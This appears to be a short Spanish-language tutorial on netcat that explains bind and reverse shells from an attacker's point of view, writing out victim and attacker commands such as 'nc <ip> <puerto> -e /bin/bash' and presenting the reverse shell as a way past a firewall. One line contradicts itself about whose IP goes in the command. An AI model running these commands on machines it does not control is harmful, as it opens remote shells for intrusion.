Uso de Netcat
Netcat es una herramienta que nos permite a través de una terminal abrir puertos TCP/IP en un dispositivo.
Vamos a usar netcat para hacer una conexión inversa y una conexión directa.
Podría definirse una conexión directa como:
La máquina del atacante se conecta a la máquina victima haciéndole peticiones a esta última. Vamos a ver como crear la conexión directa, es decir no podrán saltarse las defensas del router.
La víctima lanzará el comando netcat a la escucha, de esta forma:
nc -lvvp <puerto> -e /bin/bash
Esta linea nos quiere decir lo siguiente:
-l : Ejecuta netcat modo escucha
-vv : Modo verbose, para que muestre el máximo de información
-e /bin/bash : Ejecutamos un comando, en nuestro caso /bin/bash , es decir, la shell
-p <puerto> : El puerto que queremos que esté a la escucha
Mientras que el atacante lanzará lo siguiente:
nc <ip> <puerto>
Ahora veremos la conexión inversa
Imaginemos que la víctima tiene un firewall que bloquea las conexiones desde la máquina del atacante, no obstante nos podremos conectar a ella ya que es ella la que se conecta a nosotros
En la máquina del atacante deberemos de poner lo siguiente:
nc -lvvp 3767
Lo cuál si analizamos
-vv : Modo verbose (más info)
-l : la máquina del atacante se pone a la escucha
-p : Numero del puerto
Ahora veremos el comando de la máquina de la víctima:
nc <ip> <puerto> -e /bin/bash
Si analizamos la captura podemos ver:
-e /bin/bash: Lanza shell cuando exista la conexión
IP : IP del atacante, es decir hay que poner la IP de la máquina de la víctima
puerto : Se trata del puerto donde el atacante está a la escucha
Así tenemos nuestra conexión reversa, saltando el firewall mal configurado